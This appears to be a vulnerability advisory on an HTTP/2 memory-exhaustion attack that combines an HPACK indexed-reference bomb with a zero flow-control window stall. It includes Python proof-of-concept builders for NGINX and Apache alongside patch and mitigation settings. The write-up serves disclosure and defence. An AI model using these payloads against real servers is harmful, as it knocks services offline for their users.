Background: HTTP/2 and HPACK

HTTP/2 replaced HTTP/1.1's plaintext header repetition with a binary framing layer and a header compression scheme called HPACK (RFC 7541). HPACK maintains a dynamic table shared between client and server — a rolling list of previously seen header name-value pairs. Once a header is in the table, the sender can reference it with a single-byte index instead of transmitting the full header again.

HTTP/2 also includes a flow control mechanism to prevent fast senders from overwhelming slow receivers. Each connection carries a flow control window — a byte credit the sender must not exceed. The receiver controls this window and can set it to any value, including zero.

Both features are correct implementations of their specifications. The vulnerability is not a bug in the spec — it is the consequence of two legitimate features composing into an exploitable behavior that server implementations failed to account for.

Architecture of the Attack

The HTTP/2 Bomb chains two independent techniques into a single exploit. Neither technique alone causes catastrophic damage. Together, they produce a memory exhaustion attack that is both trivial to execute and nearly impossible to defend against without patching.

Technique 1 — HPACK Indexed-Reference Bomb

The attacker crafts an HTTP/2 request that inserts a small header entry (("a", "")) into the server's HPACK dynamic table using a literal with incremental indexing representation, then emits thousands of single-byte indexed references (0xBE) pointing back to that entry. Each 0xBE byte on the wire forces the server to fully reconstruct the referenced header, allocating real memory for each occurrence.

Technique 2 — Flow Control Window Stall

At the HTTP/2 handshake, the attacker sets INITIAL_WINDOW_SIZE = 0. With a zero-byte window, the server cannot transmit any response data — all allocated state is held indefinitely. To prevent timeout-based cleanup, the attacker periodically sends 1-byte WINDOW_UPDATE frames, resetting the server's send timeout timer without ever permitting an actual response to complete.

Execution Flow

Proof-of-Concept Code

Researchers published working PoC scripts for all five affected servers. The scripts were generated by Codex and kept unedited as a historical artifact. Both use zero external dependencies — pure Python stdlib only.

NGINX Bomb Builder

def build_hpack_bomb(num_headers):
block = bytearray()
# Pseudo-headers via static table — 1 byte each
block.append(0x80 | 2)   # :method GET
block.append(0x80 | 4)   # :path /
block.append(0x80 | 6)   # :scheme https
block.append(0x41)       # :authority — literal with indexing
block.append(0x01)
block.append(ord("x"))
# Insert bomb entry: ("a", "") → dynamic table at index 62
block.append(0x40)       # literal with indexing, new name
block.append(0x01)       # name length = 1
block.append(ord("a"))   # name = "a"
block.append(0x00)       # value length = 0 (empty)
# 0xBE = indexed reference to dynamic entry 62
# 1 byte on wire → 59 bytes allocated on server
# 3 bytes in state.pool + 56 bytes in ngx_table_elt_t
refs = num_headers - 5
block.extend(b"\xbe" * refs)   # ← THE BOMB
return bytes(block)

# At handshake — freeze the server's flow control window
settings_frame([
(SETTINGS_ENABLE_PUSH, 0),
(SETTINGS_INITIAL_WINDOW_SIZE, 0),  # server cannot send, cannot free memory
])
# Hold phase — drip 1 byte every 50s to reset server timeouts
window_update_frame(0, 1)           # connection-level
window_update_frame(stream_id, 1)   # per-stream

Apache HTTPD — Cookie Bypass

Apache's mod_http2 merges HTTP/2 cookie fragments using "; " separators per spec. The attacker exploits HPACK static index 32 (cookie), seeding the dynamic table with an empty cookie value and referencing it thousands of times. Apache accumulates the merge allocation for each reference.

def build_httpd_cookie_bomb(authority, path, refs):
block = bytearray()
block += indexed(2)    # :method GET
block += indexed(7)    # :scheme https
block += literal_indexed_name_without_indexing(4, path.encode())
block += literal_indexed_name_without_indexing(1, authority.encode())
# Static index 32 = "cookie"
# Empty value → 38-byte dynamic table entry at index 62
# Apache merges cookie crumbs with "; " separator on each ref
block += literal_indexed_name_with_indexing(32, b"")  # seed the table
block += indexed(62) * refs         # 4,091 refs = ~16 MB/stream = 4,000:1
return bytes(block)

Amplification by Server

Real-World Impact

A Shodan scan at time of disclosure confirmed over 880,000 public-facing servers running one of the affected stacks with HTTP/2 enabled in default configuration. The attack requires no credentials, no recon, and no prior knowledge of the target.

Patch and Mitigation

NGINX — Patch Available

Upgrade to NGINX 1.29.8+. This release introduces the max_headers directive with a default ceiling of 1,000 header fields per request.

http {
max_headers 1000;  # default in 1.29.8+
}
# Or disable HTTP/2 entirely:
server {
listen 443 ssl;  # remove 'http2' keyword
}

Apache HTTPD — Patch Available

Update mod_http2 to v2.0.41+. Cookie fragments now count against LimitRequestFields.

LimitRequestFields 100  # default — ensure this has not been raised
# Disable HTTP/2 if patch unavailable:
Protocols http/1.1

IIS, Envoy, Cloudflare Pingora — No Patch Available

The AI Angle

The HTTP/2 Bomb was not found by a human researcher. It was discovered by OpenAI Codex, which recognized that two independently published, decade-old techniques could be chained into a combined exploit. Both the discovery and the proof-of-concept code were produced by Codex. Calif preserved the scripts unedited.

"AI-generated and kept as-is, as a historical artifact of what AI vulnerability research looked like in 2026." — Calif repository README

Detection and Hunting

MITRE ATT&CK Mapping